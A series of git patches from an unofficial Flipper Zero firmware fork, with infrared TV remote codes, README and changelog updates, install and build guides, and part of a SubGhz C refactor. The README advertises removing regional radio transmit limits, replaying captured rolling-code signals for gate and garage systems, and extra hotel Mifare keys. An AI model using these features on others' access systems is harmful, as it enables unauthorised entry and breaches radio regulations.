2309 179 2325 174 2331 178 2326 173 1333 183 1304 180 2324 175 1332 173 2330 179 2325 174 1314 181 1325 180 1326 179 1327 178 1308 177 1330 175 2329 180 2324 175 1312 183 2322 177 1329 176 1329 176 2329 180 2304 174 8339 173 351 3575 3902 594 1911 588 1916 593 1911 588 1916 583 904 591 916 589 1915 594 911 584 1920 579 1907 592 915 590 915 591 916 579 908 597 909 596 909 586 1919 580 1907 179 1326 592 1912 597 908 587 901 594 1911 588 1916 593 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4096 3909 587 1917 592 1912 587 1917 540 1964 545 942 584 922 594 1910 589 1916 541 1963 546 1958 572 1913 586 1919 590 915 590 915 549 939 587 919 586 1918 591 1912 545 962 575 913 592 913 582 924 540 948 589 917 588 7923 4040 3964 584 1919 538 1966 543 1943 587 1917 592 914 591 915 538 1965 544 1942 588 1916 593 1911 588 1916 593 1910 589 918 546 942 595 911 594 912 541 1963 546 1939 591 915 590 916 589 916 548 940 586 920 585 920 543 7950 4097 3926 549 1955 575 1910 589 1915 594 1910 589 917 536 952 595 1909 590 1914 595 1909 590 1914 585 1920 537 1967 542 945 592 914 591 915 538 968 569 1916 593 1912 587 919 586 919 545 944 593 913 592 913 540 966 571 +# +name: VOL- +type: raw +frequency: 38381 +duty_cycle: 0.330000 +data: 8885 4455 573 573 573 1641 573 573 573 1641 573 573 573 1641 573 1641 573 1641 573 573 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 573 573 573 573 1641 573 1641 573 1641 573 1641 573 573 573 573 573 1641 573 38196 8885 4507 573 573 573 1641 573 573 573 1641 573 573 573 1641 573 1641 573 1641 573 573 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 1641 573 573 573 573 573 573 573 573 573 1641 573 1641 573 1641 573 573 573 1641 573 1641 573 1641 573 1641 573 573 573 573 573 573 573 38196 +# +name: VOL+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 07 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: E6 00 00 00 +# +name: CH+ +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 12 00 00 00 +# +name: CH- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: E0 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 23 00 00 00 +# +name: CH- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: e6 00 00 00 +# +name: POWER +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 98 00 00 00 +# +name: VOL- +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0b 00 00 00 +# +name: MUTE +type: parsed +protocol: Samsung32 +address: 07 00 00 00 +command: 0f 00 00 00 +# +name: VOL+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 13 00 00 00 +# +name: CH+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 10 00 00 00 +# +name: CH- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 11 00 00 00 +# +name: MUTE +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 6D 00 00 00 +# +name: VOL- +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 73 00 00 00 +# +name: VOL+ +type: parsed +protocol: SIRC +address: 01 00 00 00 +command: 72 00 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 195 1833 300 766 280 760 275 790 276 737 309 731 304 1801 301 1804 309 731 304 1801 270 795 282 758 277 762 273 1832 270 769 246 45851 326 1780 302 739 307 785 282 732 303 736 310 1795 307 732 303 763 303 1775 307 733 334 1798 273 1832 270 1810 251 814 273 1780 281 43762 302 1804 309 758 277 737 330 762 284 730 305 734 301 1803 310 1796 306 733 302 1829 273 767 279 734 301 791 275 1804 278 762 253 45870 307 1798 304 763 272 767 279 787 279 760 275 1829 284 730 305 734 301 1804 309 757 278 1827 275 1804 278 1828 274 765 270 1835 278 43740 303 1776 306 787 279 760 275 765 281 759 307 758 277 1775 307 1799 303 736 299 1832 281 759 276 763 304 736 299 1832 281 733 302 45820 306 1800 302 764 282 758 277 788 278 762 284 1821 281 732 303 736 310 1796 307 733 302 1829 273 1806 276 1830 272 767 268 1837 245 43772 302 1778 304 789 277 762 284 756 279 786 249 765 301 1777 336 1770 301 764 282 1824 278 761 274 765 301 738 308 1824 278 761 274 +# +name: MUTE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 254 1721 360 681 354 738 308 706 329 711 355 1774 307 1772 361 1744 327 687 359 1772 299 742 335 705 330 736 279 1825 298 742 283 44773 384 1721 360 707 308 707 359 733 302 711 335 705 361 704 331 708 338 1766 336 704 331 1773 329 1776 306 1773 360 681 323 1782 331 44726 411 1722 328 686 360 733 302 711 335 705 361 1742 329 1803 330 1749 332 708 327 1777 335 705 330 710 325 741 274 1830 303 737 278 44778 359 1747 355 712 303 711 355 711 335 705 330 709 337 703 363 703 332 1770 332 709 337 1767 335 1771 300 1752 360 733 302 1776 326 44731 355 1751 330 711 355 737 309 705 330 710 336 1793 309 1771 331 1774 307 706 360 1771 300 740 326 714 332 735 280 1798 325 741 274 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8958 4449 510 4475 515 4444 515 2213 508 4477 513 2215 516 2212 509 2219 512 2217 514 2214 517 2211 540 2214 517 2211 510 4449 510 2218 513 4472 507 2220 511 30572 8960 2218 513 87698 8966 2211 510 87701 8963 2214 568 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8956 4451 508 2220 511 2217 514 4470 510 4449 510 2218 544 2211 510 2218 513 2215 516 2212 509 2220 511 2217 514 2214 517 2211 510 2245 517 4441 508 2220 511 35049 8961 2215 516 87696 8959 2217 514 87698 8956 2220 511 87701 8964 2213 508 +# +name: CH- +type: parsed +protocol: SIRC15 +address: 97 00 00 00 +command: 3C 00 00 00 +# +name: VOL+ +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1F 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: POWER +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1987 517 1981 513 1985 519 1979 515 1009 493 1006 486 1986 518 1006 486 1987 517 1007 485 1987 517 1007 485 1014 488 1010 492 1007 485 1013 489 1984 510 1988 516 1008 494 1978 516 1008 494 1979 515 983 519 1979 515 8184 4015 3980 518 1980 514 1985 519 1979 515 1983 511 1013 489 1010 492 1980 514 1010 492 1980 514 1011 491 1981 513 1011 491 1007 485 1014 488 1010 492 1007 485 1987 517 1981 513 1012 490 1982 512 986 516 1983 511 1013 489 1983 511 8070 4015 3980 518 1981 513 1985 519 1979 515 1983 511 1014 488 1010 492 1980 514 1011 491 1981 513 1011 491 1981 513 1012 490 1008 494 1005 487 1011 491 1008 484 1988 516 1982 512 1012 490 1983 511 1013 489 1983 511 1014 488 1984 510 +# +name: VOL+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4009 3986 511 1988 516 1982 511 1987 517 1981 512 1012 490 1009 493 1979 514 1010 492 1981 512 1986 518 1980 513 1985 519 979 513 1012 490 1009 493 1006 486 1986 518 1981 512 985 517 1982 511 987 515 1010 492 1006 486 1013 489 8184 4013 3982 515 1983 510 1988 516 1982 511 1987 517 1007 485 1014 488 1985 519 1005 487 1986 518 1981 512 1986 518 1980 513 1011 491 1008 494 1004 488 1011 491 1982 511 1987 517 1007 485 1988 516 1009 493 1005 487 1012 490 1009 493 +# +name: VOL- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4012 3982 514 1984 519 1979 514 1984 519 1979 514 983 519 980 512 1988 516 982 520 1979 514 1984 519 1978 515 983 519 980 511 987 515 983 519 980 511 1988 516 1982 511 987 515 1983 521 978 514 985 517 981 521 1978 515 +# +name: CH+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4012 3983 513 1985 518 1980 513 1985 518 1980 513 984 518 981 521 1978 515 983 519 1980 513 1984 520 979 512 1986 517 1007 484 1014 488 1011 491 1007 495 1978 515 1983 510 1014 488 1984 519 979 512 1012 490 1983 510 1014 488 8185 4011 3984 512 1986 518 1980 513 1985 518 1980 513 1011 491 1007 485 1988 516 982 520 1979 514 1984 519 1005 486 1986 517 981 510 1014 488 985 517 1007 495 1978 515 1983 510 1014 488 1985 518 1006 486 1013 489 1983 520 1004 487 +# +name: CH- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4016 3980 516 1982 511 1987 516 1982 511 1987 516 982 520 1004 487 1986 517 980 511 1987 516 1982 511 1013 489 1010 492 1006 486 1013 489 984 518 1007 485 1988 516 1982 511 987 515 1984 519 1005 486 985 517 1982 511 1987 517 8182 4014 3981 515 1983 520 1978 515 1983 510 1988 515 982 520 979 512 1987 517 981 510 1988 516 1983 510 987 515 1010 492 981 521 978 513 985 517 981 521 1978 515 1983 520 978 514 1985 518 979 513 986 516 1983 520 1978 515 +# +name: VOL+ +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: VOL- +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: MUTE +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 10 00 00 00 +# +name: CH+ +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: CH- +type: parsed +protocol: NEC +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 02 7D 00 00 +command: 0C F3 00 00 From e73916bf910f25bd470616694d7bb6742d3b66ff Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 10 Jul 2022 03:47:36 +0300 Subject: [PATCH 369/461] update readme --- ReadMe.md | 188 ++++++++-------------------------- documentation/HowToBuild.md | 67 ++++++++++++ documentation/HowToInstall.md | 65 ++++++++++++ 3 files changed, 172 insertions(+), 148 deletions(-) create mode 100644 documentation/HowToBuild.md create mode 100644 documentation/HowToInstall.md diff --git a/ReadMe.md b/ReadMe.md index 99133ec4d..82af4dfbb 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -24,155 +24,23 @@ Our Discord Community:

-# Update firmware +# What changed +* SubGhz regional TX restriction removed +* Rolling code protocols now has ability to save & send captured signals +* FAAC SLH (Spa) & BFT Mitto (secure with seed) manual creation +* Custom plugins and games included +* Custom SubGhz frequencies and new mf classic keys +* Other small fixes and changes -## [Get Latest Firmware from GitHub Releases](https://github.com/Eng1n33r/flipperzero-firmware/releases) +### Current modified and new SubGhz protocols list: +- CAME Atomo +- FAAC SLH (Spa) +- Keeloq(+ proper mf codes selection) +- Nice Flor S +- SecPlus v1 & v2 +- Star Line -
-
- -### **Update to the latest official firmware before proceeding** - -
-
- -## With offline update on flipper - -### **Replace (CURRENT VERSION) with version that you downloaded from releases** -- Unpack `flipper-z-f7-update-(CURRENT VERSION).tgz` (or `.zip`) into any free folder on your PC or smartphone -- You should find folder named `f7-update-(CURRENT VERSION)` that contains files like `update.fuf`, `resources.tar` and etc.. -- Remove microSD card from flipper and insert it into PC or smartphone (you can skip this step and upload all files using qFlipper) -- Create new folder `update` on the root of the microSD card and move folder that you previously extracted from archive - `f7-update-(CURRENT VERSION)` into `update` on microSD card -- So result should look like `update/f7-update-(CURRENT VERSION)/` with all files in this folder on microSD card, remember iOS default Files app doesnt show all files properly (3 instead of 6), so you need to use another app for unpacking or use PC or Android -- Verify that all files are present on your microSD card -- After all you need to insert microSD card back into flipper, navigate into filebrowser, open this file -`update/f7-update-(CURRENT VERSION)/update.fuf` -- Update will start, wait for all stages, and when flipper started after update, you can upload any custom [IR libs](https://github.com/logickworkshop/Flipper-IRDB), and other stuff using qFlipper or directly into microSD card - -
-
- -## With qFlipper - -### **Replace (CURRENT VERSION) with version that you downloaded from releases** -- Connect your device and select `Update from file` -then select **`flipper-z-f7-full-(CURRENT VERSION).dfu`** - -- And wait, if all flashed successfully - you can manually upload IR libs and other stuff to sd card - -- If you doing install for first time or migrating from official fw, unpack 2 folders from archive `sd-card-(CURRENT VERSION).zip` onto your microSD card - - -
-
- -## With USB DFU - -1. Download latest [Firmware](https://github.com/Eng1n33r/flipperzero-firmware/releases) - -2. Reboot Flipper to Bootloader - - Press and hold `← Left` + `↩ Back` for reset - - Release `↩ Back` and keep holding `← Left` until blue LED lights up - - Release `← Left` - -### **Replace (CURRENT VERSION) with version that you downloaded from releases** -3. Run `dfu-util -D flipper-z-f7-full-(CURRENT VERSION).dfu -a 0` - -4. If you doing install for first time or migrating from official fw, unpack 2 folders from archive `sd-card-(CURRENT VERSION).zip` to your microSD card - -
-
- -# After install: -- ### If you installed using .dfu - unpack 2 folders from archive `sd-card-(CURRENT VERSION).zip` to your microSD card -
- -- ## [How To: Configure UniversalRF Remix App](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/UniRFRemix.md) - -
-
- -## Support us so we can buy equipment and develop new features -* ETH/BSC/ERC20-Tokens: `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` -* BTC: `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` -* DOGE: `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` -* LTC: `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` - - -# Where I can find IR, SubGhz, ... DBs, and other stuff? -## [Awesome Flipper Zero - Github](https://github.com/djsime1/awesome-flipperzero) - -
-
- -# How to Build by yourself: - -## Clone the Repository - -You should clone with -```shell -$ git clone --recursive https://github.com/Eng1n33r/flipperzero-firmware.git -``` - -## Build with Docker - -### Prerequisites - -1. Install [Docker Engine and Docker Compose](https://www.docker.com/get-started) -2. Prepare the container: - - ```sh - docker-compose up -d - ``` - -### Compile everything for development - -```sh -docker-compose exec dev ./fbt -``` - -### Compile everything for release + get updater package to update from microSD card - -```sh -docker-compose exec dev ./fbt --with-updater COMPACT=1 DEBUG=0 updater_package -``` - -Check `dist/` for build outputs. - -Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. - -If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`. - -# Build on macOS - -Check out `documentation/fbt.md` for details on building and flashing firmware. - -## macOS Prerequisites - -Make sure you have [brew](https://brew.sh) and install all the dependencies: -```sh -brew bundle --verbose -``` - -Install Python packages required by assets build scripts: `pip3 install -r scripts/requirements.txt` - -### Compile everything for development - -```sh -./fbt -``` - -### Compile everything for release + get updater package to update from microSD card - -```sh -./fbt --with-updater COMPACT=1 DEBUG=0 updater_package -``` - -Check `dist/` for build outputs. - -Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. - -# Apps included +### Apps included: - [Clock/Stopwatch (By CompaqDisc, Stopwatch & Sound Alert By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/unleashed/applications/clock_app/clock_app.c) - [UniversalRF Remix (By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) @@ -181,10 +49,34 @@ Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. - [Arkanoid (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) - [Tic Tac Toe (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) + +## Support us so we can buy equipment and develop new features +* ETH/BSC/ERC20-Tokens: `0xFebF1bBc8229418FF2408C07AF6Afa49152fEc6a` +* BTC: `bc1q0np836jk9jwr4dd7p6qv66d04vamtqkxrecck9` +* DOGE: `D6R6gYgBn5LwTNmPyvAQR6bZ9EtGgFCpvv` +* LTC: `ltc1q3ex4ejkl0xpx3znwrmth4lyuadr5qgv8tmq8z9` + +# Instructions +## [- How to install firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToInstall.md) + +## [- How to build firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToInstall.md) + +## [- Configure UniversalRF Remix App](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/UniRFRemix.md) + +
+
+ +# Where I can find IR, SubGhz, ... DBs, and other stuff? +## [Awesome Flipper Zero - Github](https://github.com/djsime1/awesome-flipperzero) +## [UberGuidoZ Playground - Large collection of files - Github](https://github.com/UberGuidoZ/Flipper) + +
+
+ # Links * Unofficial Discord: [discord.gg/58D6E8BtTU](https://discord.gg/58D6E8BtTU) -* Docs by atmanos: [https://flipper.atmanos.com/docs](https://flipper.atmanos.com/docs/your-first-program/intro) +* Docs by atmanos / How to write your own app (outdated): [https://flipper.atmanos.com/docs](https://flipper.atmanos.com/docs/your-first-program/intro) * Official Docs: [http://docs.flipperzero.one](http://docs.flipperzero.one) * Official Forum: [forum.flipperzero.one](https://forum.flipperzero.one/) diff --git a/documentation/HowToBuild.md b/documentation/HowToBuild.md new file mode 100644 index 000000000..04eccf50d --- /dev/null +++ b/documentation/HowToBuild.md @@ -0,0 +1,67 @@ + +# How to Build by yourself: + +## Clone the Repository + +You should clone with +```shell +$ git clone --recursive https://github.com/Eng1n33r/flipperzero-firmware.git +``` + +## Build with Docker + +### Prerequisites + +1. Install [Docker Engine and Docker Compose](https://www.docker.com/get-started) +2. Prepare the container: + + ```sh + docker-compose up -d + ``` + +### Compile everything for development + +```sh +docker-compose exec dev ./fbt +``` + +### Compile everything for release + get updater package to update from microSD card + +```sh +docker-compose exec dev ./fbt --with-updater COMPACT=1 DEBUG=0 updater_package +``` + +Check `dist/` for build outputs. + +Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. + +If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`. + +# Build on macOS + +Check out `documentation/fbt.md` for details on building and flashing firmware. + +## macOS Prerequisites + +Make sure you have [brew](https://brew.sh) and install all the dependencies: +```sh +brew bundle --verbose +``` + +Install Python packages required by assets build scripts: `pip3 install -r scripts/requirements.txt` + +### Compile everything for development + +```sh +./fbt +``` + +### Compile everything for release + get updater package to update from microSD card + +```sh +./fbt --with-updater COMPACT=1 DEBUG=0 updater_package +``` + +Check `dist/` for build outputs. + +Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. diff --git a/documentation/HowToInstall.md b/documentation/HowToInstall.md new file mode 100644 index 000000000..151cf6c67 --- /dev/null +++ b/documentation/HowToInstall.md @@ -0,0 +1,65 @@ + +# Update firmware + +## [Get Latest Firmware from GitHub Releases](https://github.com/Eng1n33r/flipperzero-firmware/releases) + +
+
+ +### **Update to the latest official firmware before proceeding** + +
+
+ +## With offline update on flipper + +### **Replace (CURRENT VERSION) with version that you downloaded from releases** +- Unpack `flipper-z-f7-update-(CURRENT VERSION).tgz` (or `.zip`) into any free folder on your PC or smartphone +- You should find folder named `f7-update-(CURRENT VERSION)` that contains files like `update.fuf`, `resources.tar` and etc.. +- Remove microSD card from flipper and insert it into PC or smartphone (you can skip this step and upload all files using qFlipper) +- Create new folder `update` on the root of the microSD card and move folder that you previously extracted from archive - `f7-update-(CURRENT VERSION)` into `update` on microSD card +- So result should look like `update/f7-update-(CURRENT VERSION)/` with all files in this folder on microSD card, remember iOS default Files app doesnt show all files properly (3 instead of 6), so you need to use another app for unpacking or use PC or Android +- Verify that all files are present on your microSD card +- After all you need to insert microSD card back into flipper, navigate into filebrowser, open this file +`update/f7-update-(CURRENT VERSION)/update.fuf` +- Update will start, wait for all stages, and when flipper started after update, you can upload any custom [IR libs](https://github.com/logickworkshop/Flipper-IRDB), and other stuff using qFlipper or directly into microSD card + +
+
+ +## With qFlipper + +### **Replace (CURRENT VERSION) with version that you downloaded from releases** +- Connect your device and select `Update from file` +then select **`flipper-z-f7-full-(CURRENT VERSION).dfu`** + +- And wait, if all flashed successfully - you can manually upload IR libs and other stuff to sd card + +- If you doing install for first time or migrating from official fw, unpack files from archive `sd-card-(CURRENT VERSION).zip` onto your microSD card + + +
+
+ +## With USB DFU + +1. Download latest [Firmware](https://github.com/Eng1n33r/flipperzero-firmware/releases) + +2. Reboot Flipper to Bootloader + - Press and hold `← Left` + `↩ Back` for reset + - Release `↩ Back` and keep holding `← Left` until blue LED lights up + - Release `← Left` + +### **Replace (CURRENT VERSION) with version that you downloaded from releases** +3. Run `dfu-util -D flipper-z-f7-full-(CURRENT VERSION).dfu -a 0` + +4. If you doing install for first time or migrating from official fw, unpack files from archive `sd-card-(CURRENT VERSION).zip` to your microSD card + +
+
+ +# After install: +- ### If you installed using .dfu - unpack files from archive `sd-card-(CURRENT VERSION).zip` to your microSD card +
+ +- ## [How To: Configure UniversalRF Remix App](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/UniRFRemix.md) From 9a22c1d5e916fdd9fd5ef7c88fd44f3bfe3f4f1d Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 10 Jul 2022 03:48:50 +0300 Subject: [PATCH 370/461] fix link --- ReadMe.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index 82af4dfbb..4cd158030 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -59,7 +59,7 @@ Our Discord Community: # Instructions ## [- How to install firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToInstall.md) -## [- How to build firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToInstall.md) +## [- How to build firmware](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/HowToBuild.md) ## [- Configure UniversalRF Remix App](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/UniRFRemix.md) From db4725cd88c791733d7fc6a8883862c144f82b3a Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 10 Jul 2022 03:51:07 +0300 Subject: [PATCH 371/461] update readme --- ReadMe.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index 4cd158030..0f44a930d 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -42,12 +42,12 @@ Our Discord Community: ### Apps included: -- [Clock/Stopwatch (By CompaqDisc, Stopwatch & Sound Alert By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/unleashed/applications/clock_app/clock_app.c) -- [UniversalRF Remix (By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) -- [Tetris (By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) -- [Spectrum Analyzer (By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) -- [Arkanoid (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) -- [Tic Tac Toe (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) +- Clock/Stopwatch [(By CompaqDisc, Stopwatch & Sound Alert By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/unleashed/applications/clock_app/clock_app.c) +- UniversalRF Remix [(By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) +- Tetris [(By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) +- Spectrum Analyzer [(By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) +- Arkanoid [(By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) +- Tic Tac Toe [(By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) ## Support us so we can buy equipment and develop new features From dcd33766596368a11b5c76ac373d549b594df35e Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 10 Jul 2022 03:58:09 +0300 Subject: [PATCH 372/461] update readme --- ReadMe.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index 0f44a930d..ddd979ce3 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -29,9 +29,11 @@ Our Discord Community: * Rolling code protocols now has ability to save & send captured signals * FAAC SLH (Spa) & BFT Mitto (secure with seed) manual creation * Custom plugins and games included -* Custom SubGhz frequencies and new mf classic keys +* Extra SubGhz frequencies and new mf classic keys * Other small fixes and changes +See changelog for latest updates! + ### Current modified and new SubGhz protocols list: - CAME Atomo - FAAC SLH (Spa) From 07f70ea0dd84efbcbbecdee969588685b30afb34 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 10 Jul 2022 04:09:32 +0300 Subject: [PATCH 373/461] update readme --- ReadMe.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index ddd979ce3..cff9afa63 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -29,15 +29,15 @@ Our Discord Community: * Rolling code protocols now has ability to save & send captured signals * FAAC SLH (Spa) & BFT Mitto (secure with seed) manual creation * Custom plugins and games included -* Extra SubGhz frequencies and new mf classic keys +* Extra SubGhz frequencies + extra mifare classic keys * Other small fixes and changes -See changelog for latest updates! +See changelog in releases for latest updates! ### Current modified and new SubGhz protocols list: - CAME Atomo - FAAC SLH (Spa) -- Keeloq(+ proper mf codes selection) +- Keeloq(+ proper manufacturer codes selection) - Nice Flor S - SecPlus v1 & v2 - Star Line From e6413e3b3b67d108766f4c1314a880e9e9193171 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 10 Jul 2022 16:40:42 +0300 Subject: [PATCH 374/461] update changelog --- CHANGELOG.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index cadb3bf33..d2cfee91f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,11 +1,15 @@ ### New Update +* OFW: Bluetooth Remote Additions +* OFW: Save picopass as picopass or, for 26bit, as lfrfid +* OFW: added gui-shift command to ducky script +* OFW: CLI, threads, notifications, archive fixes +* OFW: other fixes +#### Previous changes * Added 17 new mf classic keys (Hotels) (PR) * OFW: Picopass/iClass plugin new UI * OFW: NFC: On-device tag generator * OFW: Add GPIO control through RPC * OFW: Added Javacard Emulated mifare classic 1K compatibility -* OFW: other fixes -#### Previous changes * Fixed picopass/iclass reader plugin build & included keys into plugin(from OFW PR) * OFW: SubGhz keypad lock * OFW: picopass/iclass reader plugin From 532082f35ef01e21b6c293515a3e48a0d4629287 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 10 Jul 2022 16:43:08 +0300 Subject: [PATCH 375/461] update readme --- ReadMe.md | 1 + 1 file changed, 1 insertion(+) diff --git a/ReadMe.md b/ReadMe.md index cff9afa63..4e8adc1cc 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -30,6 +30,7 @@ Our Discord Community: * FAAC SLH (Spa) & BFT Mitto (secure with seed) manual creation * Custom plugins and games included * Extra SubGhz frequencies + extra mifare classic keys +* Picopass/iClass plugin is included in releases * Other small fixes and changes See changelog in releases for latest updates! From 97ec06c1f326d78fc5238658b577f2b4a75120b2 Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Mon, 11 Jul 2022 23:26:39 +0300 Subject: [PATCH 376/461] update screen after sending signal in received signals scene --- .../subghz/scenes/subghz_scene_receiver_info.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_receiver_info.c b/applications/subghz/scenes/subghz_scene_receiver_info.c index 9ae57f4c8..3d6168321 100644 --- a/applications/subghz/scenes/subghz_scene_receiver_info.c +++ b/applications/subghz/scenes/subghz_scene_receiver_info.c @@ -38,10 +38,8 @@ static bool subghz_scene_receiver_info_update_parser(void* context) { return false; } -void subghz_scene_receiver_info_on_enter(void* context) { - SubGhz* subghz = context; +void subghz_scene_receiver_info_draw_widget(SubGhz* subghz) { - DOLPHIN_DEED(DolphinDeedSubGhzReceiverInfo); if(subghz_scene_receiver_info_update_parser(subghz)) { string_t frequency_str; string_t modulation_str; @@ -106,6 +104,13 @@ void subghz_scene_receiver_info_on_enter(void* context) { view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget); } +void subghz_scene_receiver_info_on_enter(void* context) { + SubGhz* subghz = context; + + 